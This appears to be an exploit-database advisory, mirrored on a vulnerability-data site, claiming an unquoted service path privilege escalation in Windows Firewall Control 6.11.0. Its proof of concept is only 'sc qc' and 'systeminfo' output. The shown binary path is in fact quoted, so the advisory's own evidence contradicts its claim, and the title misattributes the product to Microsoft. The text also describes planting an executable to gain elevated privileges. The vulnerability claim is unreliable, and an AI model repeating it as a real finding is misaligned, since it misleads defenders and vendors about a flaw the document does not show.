`# Exploit Title: Microsoft Windows Firewall Control 6.11.0 - Unquoted
Service Path
# Date: 2024-08-06
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: [email protected]
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# MiRROR-H: https://mirror-h.org/search/hacker/49626/
# Vendor Homepage: http://www.binisoft.org
# Software Link: http://www.binisoft.org
# Version: 6.11.0
# Tested on: Windows 10 Pro x64
1. Description:
Windows Firewall Control lacks of the quotes in filepath, causing it to be
a potential vector of privilege escalation attack.
To properly exploit this vulnerability, the local attacker must insert an
executable file in the path of the service. Upon service restart or system
reboot, the malicious code will be run with elevated privileges.
2. POC
C:\>sc qc "wfcs"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: wfcs
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\Program Files\Windows Firewall
Control\wfcs.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Windows Firewall Control
DEPENDENCIES : MpsSvc
SERVICE_START_NAME : LocalSystem
C:\>systeminfo
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.19045 N/A Build 19045
OS Manufacturer: Microsoft Corporation
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation